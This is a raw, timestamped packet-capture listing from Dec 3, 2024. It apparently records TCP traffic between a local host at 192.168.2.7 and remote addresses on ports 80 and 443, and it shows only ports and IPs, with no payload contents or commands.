Dec 3, 2024 17:41:38.464903116 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.466120958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.466131926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.466180086 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.467480898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.467489958 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.467495918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.467528105 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.467541933 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.468808889 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.468820095 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.468909025 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.468945980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.469029903 CET	49774	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.469041109 CET	443	49774	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.470180035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.470191956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.470246077 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.471635103 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.471647024 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.472831964 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.472842932 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.472889900 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.474168062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.474185944 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.475030899 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.475539923 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.475550890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.475589037 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.476952076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.476963997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.477041960 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.478224993 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.478236914 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.478285074 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.479720116 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.481113911 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.481442928 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.481604099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.481628895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.481844902 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.481863976 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.481872082 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.482306957 CET	49772	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.482311010 CET	443	49772	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.483531952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.483546019 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.484213114 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.484230042 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.484852076 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.484863997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.484886885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.484937906 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.486107111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.486119032 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.486190081 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.487149000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.487160921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.488653898 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.488665104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.488701105 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.488715887 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.490087986 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.490113020 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.490122080 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.490170002 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.491605997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.491619110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.493074894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.493087053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.493159056 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.494580030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.494591951 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.494653940 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.496139050 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.496150970 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.496349096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.497850895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.497864008 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.497883081 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.497906923 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.497920036 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.499037981 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.499051094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.499109983 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.500510931 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.500523090 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.500572920 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.502124071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.502135992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.502206087 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.503504992 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.503521919 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.503540039 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.503601074 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.505001068 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.505013943 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.505103111 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.506511927 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.506522894 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.506562948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.508070946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.508085012 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.508143902 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.509490013 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.509510994 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.509547949 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.510916948 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.510930061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.510955095 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.510967970 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.510991096 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.512419939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.512435913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.512481928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.513856888 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.513870001 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.513948917 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.515422106 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.515440941 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.515480042 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.516921997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.516933918 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.516952991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.516998053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.518340111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.518352032 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.518460035 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.519896030 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.519906998 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.521184921 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.521470070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.521481991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.523071051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.523082972 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.523101091 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.523124933 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.524599075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.524610043 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.524625063 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.524661064 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.524686098 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.526442051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.526452065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.526494980 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.527879953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.527890921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.527936935 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.529222965 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.571017981 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.641623020 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.642568111 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.642595053 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.643049955 CET	49773	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.643054008 CET	443	49773	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.681252956 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.681451082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.681543112 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.681647062 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.682343006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.682390928 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.682997942 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.683684111 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.683737993 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.684516907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.685194969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.685241938 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.685864925 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.685890913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.685954094 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.687180042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.687882900 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.687930107 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.688549042 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.688569069 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.688623905 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.689896107 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.689909935 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.691077948 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.691255093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.691268921 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.691303968 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.692585945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.692599058 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.692662954 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.693919897 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.693934917 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.693995953 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.695270061 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.695282936 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.695337057 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.698101044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.698120117 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.698163033 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.699526072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.699557066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.699572086 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.699601889 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.701050997 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.701105118 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.701103926 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.702658892 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.702672958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.702735901 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.704435110 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.704447031 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.704495907 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.705513000 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.705538034 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.705566883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.706979036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.707000971 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.707021952 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.707051039 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.707072020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.708492041 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.708511114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.709616899 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.709969044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.709989071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.711503983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.711554050 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.712953091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.712986946 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.713072062 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.714423895 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.714436054 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.715897083 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.715910912 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.715960026 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.717380047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.717394114 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.718862057 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.718888044 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.718897104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.718928099 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.718956947 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.720365047 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.720376968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.720431089 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.722018003 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.722029924 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.723658085 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.723670006 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.723743916 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.723778963 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.724806070 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.724817991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.724837065 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.724890947 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.726310968 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.726325035 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.727787018 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.727798939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.727848053 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.729283094 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.729295969 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.730349064 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.730884075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.730896950 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.730969906 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.732290983 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.732323885 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.732335091 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.732373953 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.732388020 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.733748913 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.733762026 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.735232115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.735243082 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.735307932 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.736686945 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.736711025 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.736766100 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.738187075 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.738199949 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.739685059 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.739698887 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.739717007 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.739737034 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.741194963 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.741206884 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.742651939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.742661953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.742717981 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.744142056 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.744154930 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.744210005 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.745614052 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.745626926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.745644093 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.745718956 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.747148991 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.747159958 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.747211933 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.748596907 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.748609066 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.748656988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.750085115 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.750097036 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.750149965 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.751723051 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.751735926 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.753307104 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.753318071 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.753336906 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.753365040 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.753386974 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.824976921 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.825711966 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.825742006 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.826230049 CET	49770	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.826235056 CET	443	49770	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.882400990 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.882729053 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.882863998 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.882900953 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.883721113 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.883779049 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.884363890 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.884896040 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.884955883 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.885323048 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.886099100 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.886147976 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.886935949 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.887000084 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.887104988 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.887264967 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.887275934 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.887317896 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.887438059 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.887458086 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.887468100 CET	49771	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:41:38.887475014 CET	443	49771	13.107.246.63	192.168.2.7
Dec 3, 2024 17:41:38.888613939 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.888626099 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.888684988 CET	49764	80	192.168.2.7	185.215.113.16
Dec 3, 2024 17:41:38.890011072 CET	80	49764	185.215.113.16	192.168.2.7
Dec 3, 2024 17:41:38.890022039 CET	80	49764	185.215.113.16	192.168.2.7
